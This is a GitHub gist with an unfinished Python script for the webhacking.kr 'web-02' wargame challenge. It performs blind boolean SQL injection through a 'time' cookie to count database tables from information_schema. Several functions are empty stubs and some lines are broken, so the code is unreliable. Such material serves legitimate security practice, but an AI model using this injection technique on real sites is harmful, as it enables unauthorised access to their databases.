Created
October 3, 2019 06:07
-
-
Save moreal/58dfe9e5c7f68ad319bc1e1dd6812c8e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from typing import List | |
| import requests | |
| import os | |
| PHPSESSID = os.environ['PHPSESSID'] | |
| URL = 'https://webhacking.kr/challenge/web-02/' | |
| def get(condition: str) -> str: | |
| return requests.get( | |
| URL, | |
| cookies={ | |
| 'PHPSESSID': PHPSESSID, | |
| 'time': f'if({condition}, 1570077857, 1570077858)' | |
| }).text | |
| def is_true(condition: str) -> bool: | |
| return '2019-10-03 01:44:17' in get(condition) | |
| def get_table_count(*, max_count=100) -> int: | |
| for i in range(max_count): | |
| if is_true( | |
| f'(select count(*) from information_schema.tables where table_schema = database()) >= {i}'): | |
| return i | |
| def get_table_name_length_at(*, index): | |
| ... | |
| def get_table_name_at(*, index): | |
| ... | |
| def get_table_names(*, count) -> List[str]: | |
| return get_table_name_at(index) for index in range(count) | |
| def solve(): | |
| is_true() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment